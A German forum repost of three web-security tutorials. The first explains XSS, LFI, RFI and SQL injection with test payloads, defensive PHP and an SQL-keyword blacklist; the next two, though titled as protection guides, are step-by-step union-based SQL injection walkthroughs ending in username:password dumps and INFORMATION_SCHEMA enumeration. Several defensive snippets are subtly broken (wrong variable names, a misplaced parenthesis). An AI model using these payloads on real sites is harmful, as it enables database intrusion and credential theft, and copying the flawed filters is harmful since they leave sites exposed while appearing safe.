Schutz: SQLinjection , XSS, RFI / LFI

      Schutz: SQLinjection , XSS, RFI / LFI

      Hallo leute,

      da Ich eben hier gelesen habe das ein Tutorial zum Schutz gegen SQLinjection gesucht wird verbreite Ich Tutorials dich mir von früher Runtergeladen habe dazu.

      SQLi, XSS, RFI, LFI Schutz von Unbekannt
      Spoiler anzeigen




      Tag,

      da ich Power-Sven sein Tutorial zum Schutz gegen XSS, SQL Injections, RFI & LFI super finde, habe ich ihn gefragt, ob ich es hier bloggen darf und er meinte ja :) Daher, hier ist es:

      Auf Wunsch schreibe ich hier mal ein Tutorial bzw. eher einen Ratgeber, wie man eine Webseite sicher gegen SQLInjectionen, Cross Site Scripting (XSS) und Local / Remote File Inclusions (LFI / RFI) machen kann.
      Dabei gehe ich auf Funktionen sowie Codes ein und zeige das ganze aus der Sicht des Angreifers und mögliche Abwehrmethoden.
      Ich werde auch kurz darauf eingehen, wie kluge “Hacker” dennoch an eure Daten kommen könnten, und wie ihr auch dies verhindert.

      Cross Site Scripting (XSS)

      Natürlich ist es sinnvoll, so wenige Queries wie möglich auszuführen. Aber wenn man Werte einfach in der URL übergibt oder unüberprüft aus einem Formular übernimmt, kann es schnell gefährlich werden. Cross Site Scripting ist somit nicht undenkbar.

      Beim Cross Site Scripting wird versucht, JavaScript-Codes auszuführen.
      Ein nicht vertrauenswürdiger Code wird mangels Prüfung an ein vertrauenswürdiges Kontext übergeben und ausgeführt. Somit kann z.B. eine Seite als Phishingseite missbraucht, defaced oder für sonstige Zwecke genutzt werden.
      Wir unterscheiden in reflektives und persistentes XSS. Beim reflektiv XSS ist es so, dass GET oder POST-Werte ohne oder mit nur mangelhafter Überprüfung auf der Seite gespiegelt (reflektiert) werden. GET bedeutet, dass über den so genannten Query-String, welcher hinter dem Fragezeichen (?) in der URL beginnt ein Wert übergeben wird. Z.B.

      url/index.php?catid=1&cattitle=Wie verhindern wir XSS

      POST hingegen wird meist über Formulare übertragen und ist nicht sichtbar.
      Durch das Firefox-Addon Live HTTP Headers kann man sie dennoch sehen.

      Sieht man auf der Seite nun eine Ausgabe, wie “Wie verhindern wir XSS” so kann man schonmal davon ausgehen, dass dieser Wert aus der URL geholt wurde. Also versucht man

      url/index.php?catid=1&cattitle=<script>alert(1337);</script>

      wird ein Alarmfenster mit 1337 kommen. Der Fremdcode wurde erfolgreich eingeschleust. Selbiges kann auch passieren, wenn man in einem Gästebuch ist und die Eingaben gespeichert werden. Wird bei der Ausgabe des Beitrages ein Alarmfenster ausgegeben ist dieses XSS persistent.

      Beide Methoden lassen sich verhindern, in dem die Variablen ausreichend geprüft werden.

      Ein Code, der z.B. die Kategorie ausgibt kann bei obigem Beispiel so aussehen:

      print $_GET['cattitle'];

      Der Wert, der hinter cattitle in der URL steckt, wird geholt. Er lautet “Wie verhindern wir XSS” und wird ausgegeben.
      Wie man sieht, vollkommen ungeprüft.
      Nun gibt es eine einfache Methode, die die Variable so bearbeitet, dass zwar

      <script>alert(1337);</script>

      ausgegeben, jedoch nicht ausgeführt wird. Hier für nutzen wir die Funktion htmlentities().
      Diese wandelt Sonderzeichen in ihre HTML-Codes um, wodurch HTML die Zeichen wieder in ihren Ursprung umwandelt.
      < wird zu > und wieder zu <. Die Ausführung wird hierbei verhindert.

      print htmlentities($_GET['cattitle']);

      Genauso können wir die Sonderzeichen auch einfach entfernen, in dem wir sie mit str_replace() ersetzen.

      $replace = array("<",">","alert","script");

      foreach($replace AS $key) {

      str_replace($rep,"",$_GET['cattitle']);

      }

      Hierbei wird einfach ein Array in einer Schleife bearbeitet, wobei jedes gefundene Zeichen aus dem Array in der Variable mit garnichts ersetzt wird. Sprich: Entfernt.

      Local File Inclusions

      Der Grundgedanke ist klar: Der Webmaster versucht, eine zweite Datei innerhalb einer ersten auszuführen.
      Hier für nutzt er die include()-Funktion in PHP.
      Das dient meistens dem Verändern des Contents der Seite. Auch aus Faulheit, um Templates zu nutzen. Das Template wird in der index.php erstellt und der Main-Content per include geändert.

      Ein möglicher Code wäre also:

      include($_GET['site']);

      Meist liegen die Webseiten in Verzeichnissen, die z.B. htdocs, html oder ähnlich heißen. Diese Webseiten liegen auf so genannten “Servern”. Das sind Rechner, die ihre Leistung in das am laufen halten der Dienste stecken, die die Webseiten ins Netz stellen.
      Die Seiten liegen somit z.B. in /var/www/htdocs/ und ähnliches. Ganz weit hinten liegen aber noch andere Verzeichnisse, wie z.B. etc/passwd. Zum testen, ob eine locale file inclusion möglich ist versucht man nun zurückzunavigieren.
      Durch “../” kann man in das übergeordnete Verzeichnis wechseln.
      Der Aufruf oben sähe z.B. so aus:

      url/index.php?site=main.php

      Wir versuchen nun eine andere Datei zu includen.

      url/index.php?site=../../../../../../../../etc/passwd/<pre>

      Wird passwd dargestellt kann man theoretisch auch jede andere Datei auf dem localen Webspace includieren. Und das kann gefährlich werden. Seht euch hierzu auch das <a href="http://free-hack.com/showthread.php?t=17105">Text-Tutorial von Lidloses_Auge</a> an.

      Nun, wie verhindern wir eine locale File Inclusion? Die Methoden, wie sowas möglich ist stehen im vorhin genannten Tutorial. Die Bekämpfung ist klar: Wir müssen verhindern, dass eine andere Datei aufgerufen wird außer jenen, die erlaubt sind.
      Also warum nicht unterscheiden zwischen den Aufrufen? Ich löse das Problem nun mit der <a href="http://de2.php.net/manual/de/control-structures.switch.php">switch()</a>-Funktion, obwohl es sicher noch viele andere Methoden gibt. Zudem werde ich per <a href="http://de2.php.net/manual/de/function.str-replace.php">str_replace</a> die "../" aus dem Aufruf rauslöschen.

      <pre lang="php">switch(str_replace("../","",$_GET['site'])) {

      case "main":

      include("main.php");

      break;

      case "contact":

      include("contact.php");

      break;

      case "about":

      include("about.php");

      break;

      default:

      include("main.php");

      break;

      }

      Default stellt hierbei den Standard dar. Sofern versucht wird, etwas aufzurufen, was nicht in den cases (vom englischen. Case = Fall) steht wird main.php includet.
      Ein möglicher Aufruf wäre nun:

      url/index.php?site=about

      Das ist viel sicherer und auch eleganter, als der ganz oben gezeigte Code.

      Remote File Inclusions

      Im Unterschied zu den local file inclusions wird bei der remote Variante versucht eine Datei von außen zu includieren.
      Auch hier kann ich zur Funktionsweise und Vorgenesweise des Angreifers das Text-Tutorial von Lidloses_Auge empfehlen.

      Ein Code könnte genauso aussehen, wie bei der local Inclusion:

      include($_GET['site']);

      Stehen in der php.ini (Konfrigurationsdatei für PHP auf dem Webserver) nun die beiden Einträge “allow_url_fopen” und “allow_url_include” auf “on” so könnte eine RFI möglich sein.

      Ein möglicher Aufruf, um dies zu testen wäre:

      url/index.php?site=http://google.de/index.php

      Wird Google in der Seite dargestellt kann man auch z.B. eine Shell includen.

      Wie verhindern wir das ganze nun? Wenn ein include einer externen URL nicht notwendig ist, kann man beim Provider des Webspace darum bitten, dass die Einstellung “allow_url_include” auf “off” gestellt wird. Dies ginge zwar auch per ini_set(). Das geht aber nur temporär für die momentan aufgerufene Datei und muss somit in jeder Datei nach ganz oben gestellt werden.
      Eine weitere Möglichkeit wäre es, wie unter local file inclusions schon genannte das switch()-Statement zu nutzen.
      Oder man sorgt dafür, dass externe URL’s garnicht aufgerufen werden können:

      $inarray = array("http", ":", "//", ".de", ".com");

      foreach($inarray AS $key) {

      if(stristr($_GET['site'],$key)) {

      die("Access denied!");

      }

      }

      include($_GET['site']);

      Die Funktion stristr() prüft unabhängig von Groß- und Kleinschreibung, ob der gesuchte String in der Zeichenkette vorkommt. Wenn ja, dann wird in diesem Fall das Script mit der Fehlermeldung “Access denied” (Zugriff gescheitert) ausgegeben. Leute mit etwas Humor können auch z.B. “Nice try” (=Netter Versuch) ausgeben lassen ^^.
      Anderenfalls (wenn das Script nicht abgebrochen wird an der Stelle) wird site includiert. Auch hier kann man noch z.B. eine Funktion hinzufügen, die “../” entfernt, um LFI’s zu verhindern. Oder man packt das “../” direkt oben in das Sucharray.

      SQLinjections

      Nun, wozu MySQL dient muss man sicherlich nicht mehr erläutern. Und was der Angreifer daraus abfragen kann mit Sicherheit auch nicht. Denn es sind ja nicht nur Zugangsdaten, wie Passwörter und Loginnamen oder gar Emails. Adressdaten, Kreditkarteninformationen und Email-Adressen lassen sich bequem abfragen, wenn erst einmal eine Lücke vorhanden ist.
      Für das Verständnis, die SQLinjectionen funktionieren kann ich auch hier Tutorials empfehlen.
      Lidloses_Auge hat in der zugehörigen Sektion vier Tutorials zu dem Thema verfasst.

      Es ist natürlich einfach unerlässlich, Daten in Form von Identifikationsnummern (ID’s) über den Query-String der URL zu übermitteln. Ein Beispiel dafür wäre dieses:

      url/shop/product.php?id=23

      Die ID wandert oft ungeprüft in eine Abfrage an MySQL. Bei diesem Beispiel könnte es so aussehen:

      mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$_GET['id']."'");

      Übergeben wir einen anderen Wert, als einen Integer als ID so können wir durch union select oder den blind-Methoden eigene Abfragen starten.
      In diesem Fall haben wir fünf Columns (title, price, description, category, paymethods) nehmen wir an, es sei eine von den “guten alten” Union-Select-Injectionen.

      url/shop/product.php?id='+union+select+@@VERSION,2,3,4,5,6,7--+

      sähe dann im Query so aus:

      mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '' union select @@VERSION,2,3,4,5,6,7--+'");

      So, wie verhindern wir nun, dass jemand versucht auf diese Methode oder durch Blind-Injectionen eigene Abfragen zu starten?
      Sofern Integer übergeben werden, können wir sagen, dass jede Eingabe als Integer behandelt werden soll.
      Dies kann mit der Funktion intval() geschehen.
      Intval steht für “Integer validation”. Integer sind Zahlenwerte, und Validation würde ich jetzt mal mit “Gültigkeitsprüfung” übersetzen. Die Funktion prüft also, ob es sich bei der Eingabe um einen gültigen Integer handelt. Sofern etwas anderes übergeben wird, schlägt die Validation fehl und eine Fremdabfrage ist nicht möglich.

      mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".intval($_GET['id'])."'");

      Eine andere Möglichkeit, damit keine leere Ausgabe erreicht wird, wie es im gerade eben gezeigten Beispiel der Fall sein würde wäre eine Entweder-Oder-Abfrage mit der Bedingung “is_int(). Is_int() prüft, ob eine Zeichenkette vom Typ Integer ist und gibt entweder true oder false (wahr oder falsch) zurück. Ich gebe der Variable id den Wert einer Entweder-Oder-Abfrage, wobei sofern es ein Integer ist die Variable nochmals als Integer validiert wird.

      $id = (is_int($_GET['id'] ? intval($_GET['id']) : "1");
      mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$id."'");

      Nun, diese Methoden schützen erfolgreich vor SQLinjectionen. Was aber tun, wenn der Fall eintritt, dass z.B. jemand eine Suchfunktion nutzt? Hier werden ja nicht nur Integer sondern auch ganz normale Strings abgefragt:

      url/search.php?word=suchmich

      Ich denke die beste Methode, zu prüfen, was übergeben wird ist eine “Badwordliste” zu erstellen, die das laufende Script beendet, wenn eines der bösen Wörter gefunden wird. Dies kann mit den Funktionen preg_match(), foreach() und stristr().
      Zuerst einmal eine Kombination aus foreach und stristr:

      $boese = array("union","select","/*","*/","--+","-- f", "from","and","ascii","substring","substr","@@VERSION","version()","concat","concat_ws","(",")","char","instr","information_schema","columns","table_schema","table_name","column_name","hex","unhex");
      $query = $_SERVER['QUERY_STRING'];

      foreach($boese AS $evil) {

      if(stristr($url,$evil)) {

      die("Access denied!");

      }

      }

      $host = "localhost";
      $user = "Power-Sven";
      $password = "free-hack";
      $db = "tutorial";

      @mysql_connect($host,$user,$password);
      @mysql_select_db($db);

      Okay, nehmen wir den Code einmal auseinder. Zuerst einmal werden für Injectionen typische Begrifflichkeiten in ein Array geladen. Diese Blacklist ist natürlich nur eine ungefähre Liste und sollte erweitert werden, wie man sie eben braucht. Anschließend wird der Query-String (das, was in der URL hinter dem Fragezeichen steht) in die Variable query gesteckt. Nun wird das Array boese durchlaufen. Der aktuell angewählte Wert (zuerst union, dann select usw.) wird in die Variable evil geladen. Stristr prüft unabhängig von Groß- und Kleinschreibung (also sowohl UNION als auch union, Union etc.) nun, ob einer der Begriffe im Query-String vorkommt. Wenn ja, wird das Script beendet, in dem “Access denied” ausgegeben wird. Wenn nicht, wird eine Datenbankverbindung hergestellt. Somit kann man schon in den Ansätzen verhindern, dass überhaupt eine Verbindung aufgebaut wird, wenn eine Injection versucht wird. Dieses Script kann in der Verbindungsdatei zum Einsatz kommen.
      Statt stristr kann nun auch preg_match mit dem regulären Ausdruck “/Suchbegriff/” genutzt werden.

      Wird nun z.B.

      url/shop/product.php?id='+union+select+@@VERSION,2,3,4,5,6,7--+

      aufgerufen wird das Script bereits beendet, wenn “union” gefunden wird. Auch hier kann man natürlich beliebig mit Entweder-Oder-Abfragen und anderem variieren.

      Selbstverständlich sollte man nicht davon ausgehen, dass nur über GET Injectionen möglich sind. Somit sollte sämtlicher Datenverkehr komplett überprüft werden, bevor man von Sicherheit ausgehen kann. Sprich: Cookies, GET, POST etc.

      Auch sollte darauf geachtet werden, dass durch die PHP.Ini-Einstellung “magic_quotes_gpc” das Sonderzeichen “Hochkomma” (‘) durch den Backslash escpaped wird. Steht diese Einstellung auf “on”, so wird aus ‘ ein \’, was die Funktionsweise aushebelt.
      Eine Alternative ist die Funktion mysql_real_escape_string(), welche das escapen übernimmt, wenn die magic_quotes_gpc = off ist. Jedoch muss dies auf jede Variable angewendet werden, über die ggf. eine Injection übermittelt werden kann.

      $suchbegriff = mysql_real_escape_string($_GET['suchbegriff']);

      Bedenkt auch: Die Mischung machts ;) . Es gibt sicher nicht “die” Lösung gegen Injectionen. Aber das ist schonmal ein Grundsatz, den man nutzen kann.

      Social Engineering

      War doch eigentlich klar, dass ich das auch noch erwähne, oder? ;)
      Einige denken, wenn sie sich gegen XSS, SQLinjections, RFI / LFI etc. schützen, seien sie sicher. So lange jedoch Menschen die sind, die all das nutzen und verwalten können wir niemals von kompletter “Sicherheit” reden.
      Ich simuliere mal ein ICQ-Gespräch, in dem jemandem ein Passwort abgeluchst wird:

      (Person 1): Hey
      (Person 2): Moin auch
      (Person 1): Sag mal Du hattest da doch diese Webseite?
      (Person 2): Ja, wieso? Wer bist Du eigentlich?
      (Person 1): Erinnerst Du Dich nicht mehr? Ich bin Person 1, Du kennst mich aus der Schule. Physik Leistungskurs, weißt Du noch?
      (Person 2): Achso... Ja... Was ist denn mit meiner Webseite?
      (Person 1): Keine Ahnung. Ich komme nicht mehr richtig drauf. Sie wird falsch dargestellt und ich erkenne nichts
      (Person 2): Ich schon *Schulter zuck*
      (Person 1): Mh... Nutzt Du BrowserXY?
      (Person 2): Ja, wieso?
      (Person 1): Hast Du die Seite etwa nicht an Browser42 angepasst? Dabei ist das doch so einfach...
      (Person 2): Erzähl :)
      (Person 1): Schwer zu erklären... Also Du startest Deinen FTP-Clienten und connectest zum Server... Anschließend navigierst Du ins Templates-Verzeichnis und ändert die Struktur der Datei so, dass Browser42 es richtig interpretiert. Das hatten wir doch in Jahrgang 10 in Informatik :D
      (Person 2): ...Ja, natürlich, wusste ich. Weiß ich auch noch, habe nur keine Zeit... Kannst Du mir das nicht machen?
      (Person 1): Klar. Mit welchen Daten loggest Du Dich ein? Also Host ist xy.h1.host.de, das weiß ich.
      (Person 2): Ja, Host ist xy.h1.host.de. Einloggen tust Du Dich mit xy, das Passwort lautet pwn3d.
      (Person 1): Vielen Dank, ich melde mich
      (Person 2): Ich habe zu danken

      Jemand aus der Schule weiß z.B., dass die Person 2 in einem Physik Leistungskurs war oder ist und kennt vielleicht sogar einige Namen. Person 1 weiß das und gibt sich als jemand anderes aus. Person 1 gewinnt somit das Vertrauen von Person 2.
      Auch hat Person 1 einiges an Fachwissen. Er hat den Host der Webseite herausgefunden und kennt einige Fachbegriffe aus dem Jargon. Nun hat er das Vertrauen und Person 2, die ihn nicht richtig versteht, da er ahnunglos ist redet sich raus, er habe keine Zeit. Er bittet Person 1 darum, doch bitte die Anpassungen für ihn vorzunehmen.
      Selbstverständlich gibt es garnichts anzupassen, das war ausgedacht. Person 2 hat Browser42 nicht installiert und kann es nicht prüfen, das macht sich Person 1 zu Nutze und erhält die Zugangsdaten.

      Das soll jetzt nur so viel heißen wie: Denkt nicht, ihr wäret komplett sicher, wenn ihr eure Seite schützt. Der MEnsch, der dahinter steckt ist mit Sicherheit immernoch anfällig für Social Engineering und ähnliche Prozeduren.

      Schlusswort

      Ich hoffe mal, euch hat dieses Tutorial ein Wenig geholfen. Denkt immer dran, eure Scripte ausreichend zu schützen. Denn Sicherheit wird in dieser Zeit benötigt, da es immer mehr Methoden gibt, an eure privaten Daten zu kommen.

      PS.: Das meiste hiervon ist heute Nacht gegen 1:00 Uhr entstanden. Bitte nicht meckern, wenn da ein Paar Fehler drin sind ;) .

      Quelle: free-hack.com/showthread.php?t=41091

      An dieser Stelle nochmal vielen lieben Dank an Power-Sven hierfuer :)




      SQLinjection Schutz Teil 1 von Unbekannt
      Spoiler anzeigen




      Heyhoo,

      wie versprochen werde ich nun das vllt von einigen lang erwartete SQL Injection Tutorial schreiben. Ich hatte damals ein recht ausfuehrliches geschrieben, jedoch isses mir irgendwie weg gekommen und ich find es nicht mehr. Nichts desto trotz werde ich euch hier einiges ueber SQL Injections zeigen, jedoch gehe ich mehr darauf ein wie eine SQL Injection funktioniert und wie man dadurch an nuetzliche Informationen kommt. Wichtig, das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder aehnliches sieht das ganze total anders aus. Da MySQL die “populaerste Open Source” Datenbank ist, wird sie daher auch am haeufigsten verwendet.

      Was ist eine SQL Injection?

      Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:

      SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.

      Heißt kurz und knapp, ihr koennt an das Admin PW kommen. :D

      Nun ich werde das Tutorial in 4 Teile aufteilen, der erste Teil wird der laengste und ausfuehrlichste sein.
      Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.

      Dann fangen wir mal an ;)

      0. Vorwort
      Es wird oft behauptet, das PHP & MySQL Wissen fuer eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man oefters und schneller Luecken finden. Auch wird man Luecken nachvollziehen koennen; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu machen, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen koennen. Das reicht dann auch fuer ne normale SQL Injection.

      1) Nach einer Luecke suchen
      Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma dieses ‘ dranhaengen um einen Error auszuloesen, beispiel:

      site.de/news.php?id=5'

      Wenn sich an der Seite nun nichts aendert, gut, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:

      You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…

      Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die verwundbarkeit zeigen.

      Schauen wir uns das mal genauer in einem Beispiel Source an:

      SELECT * FROM news WHERE id = 5'

      Hier sieht man das unser Hochkomma das Query stoert.
      (Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann waere auch keine SQL Injection moeglich)
      Aber unser Query koennte auch so aussehen:

      SELECT * FROM news WHERE id = '5''

      Jedoch auch hier sieht man was stoert. Naemlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Luecke gefunden.

      Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True pruefen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page veraendert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt aendert, oder ne Fehlermeldung kommt. Seht ihr dann auch.

      2) Anzahl der Columns rausfinden
      Da wir spaeter den Befehl UNION benutzen wollen (dazu spaeter mehr) brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewaehlt werden, wuerde unser Query aber so aussehen:

      SELECT author,datum,text FROM news WHERE id = 5

      Dann waere die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, muessen wir das Mithilfe vom SQL Statement Order By testen.
      Das sieht dann etwa so aus:

      site.de/news.php?id=5+order+by+1/*

      (Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
      Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhaengen, dies ist Query abhaengig.

      Falls noch ein Error kommt, muessen wir unsere Abfrage mit einem anderen Kommentarzeichen aendern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normal immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
      Also testen wir Order By weiter bis ein Error erscheint.

      site.de/news.php?id=5+order+by+5/*

      <-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“

      site.de/news.php?id=5 +order+by+3/* <-- kein Error

      site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.

      Nun haben wir die Column Anzahl vom ersten Query.

      3) UNION verwenden
      Durch UNION koennen wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:

      SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*

      Auch hier ist das Auskommentieren am Schluss wichtig.

      Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, muessen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:

      site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*

      Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ :)

      So falls ihr nun aufm Bildschirm zahlen seht, die 1,2 oder 3, dann funktioniert unser UNION SELECT Statement sehr haeufig oder eigentlich sogut wie immer muss man die ID erst ungueltig machen, entweder durch ein minus – was ich gerne und oft benutzte oder durch eine hohe Zahl/ID welche nicht existiert.
      Sieht dann so aus:

      site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*

      Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das muesste man dann anders machen, kommt bei Teil 3 von meinem Tut genauer drauf zu sprechen.

      4) MySQL Version ermitteln

      So, wenn wir nun eine 1,2 oder 3 aufm Bildschirm sehen, dann koennen wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0×4A30686E2E583372 und sehen beim Druecken auf Enter auf einmal dort wo die 2 war “J0hn.X3r” stehen :D
      Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir aufm Bildschirm sehen und ersetzen es in der URL mit version().

      site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*

      (Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
      oder eben

      site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*

      (ich benutzt das erstere lieber)

      Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.

      Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“

      Dann muessen wir die Convert Funktion benutzen, in diesem falle dann

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*

      oder

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*

      Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.

      Bsp.:

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*

      Nun wird die Version angezeigt und es erscheint kein Fehler mehr.

      5) Table & Column Namen rausfinden
      So nun wollen wir uns auch die Tables & Columns ausgeben lassen.

      V4 ist bissle doof, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
      user/s, admin/s, member/s, login,…
      und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
      Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.

      Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, muessen wir nen zweites simples MySQL Query machen.

      ...UNION SELECT 1,2,3 FROM tabelle

      Das heißt wir wollen schauen ob die Tabelle existiert. “Waehle aus von Tabelle”.

      Wie sieht das nun bei uns aus?

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*

      Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, Werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..

      site.de/news.php?id=-5/**/UNIO…name,3/**/FROM/**/users/*

      In unserem MySQL Query heißt das nun also:

      ...UNION SELECT 1,username,3 FROM users/*

      Waehle Username aus Tabelle “users”.

      Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.

      Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. :)

      Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

      0×3a = hex = (ein Doppelpunkt) :

      Nun sehen wir dort:

      username:password

      Und eine Erfolgreiche SQL Injection.

      So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verstaendlich vorallem fuer Anfaenger geworden. Fehler, Kritik, Vorschlaege, Fragen einfach als Kommentar posten :)





      SQLinjection Schutz Teil 2 von Unbekannt
      Spoiler anzeigen




      Heyho,

      werd mir heute Zeit nehmen fuer den zweiten Teil meiner SQL Injection Tutorial Reihe und hier wird es, wie schonmal angesprochen, vorallem um MySQL v5 gehen.

      Vorerst noch nen kleiner Nachtrag zum Tutorial gestern, da es ein paar unklarheiten gab.

      Zum Punkt ausgeben, mit concat(username,0×3a,password) lohnt es sich ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die Funktion concat_ws() zu benutzten. Das sieht dann so aus:

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*

      Vorraussetzung ist, dass der Column eMail auch existiert.
      Die Ausgabe sieht dann so aus:

      Username:Password:eMail

      Da es noch was wegen dem “and” gab.

      site.de/news.php?id=5 and 1 = 0

      Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page inhaltlich etwas fehlen oder eben auch nen error erscheinen.

      site.de/news.php?id=5 and 1 = 1

      Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher sollte hier der Inhalt richtig angezeigt werden.

      So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns mit Order By rausbekommen haben, UNION SELECT 1,version(),3 funktioniert und wir dort Version 5.0.45-community oder 5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die Datenbank INFORMATION_SCHEMA. Mehr dazu hier: *klick* (die MySQL Documentation kann oft hilfreich sein). Im Normallfall werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns rausschreibt.

      Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: DATENBANK:TABELLE:SPALTE
      Das ganze muessen wir so gestalten:

      site.de/news.php?id=-5/**/UNIO…LUMNS/**/LIMIT/**/180,1/*

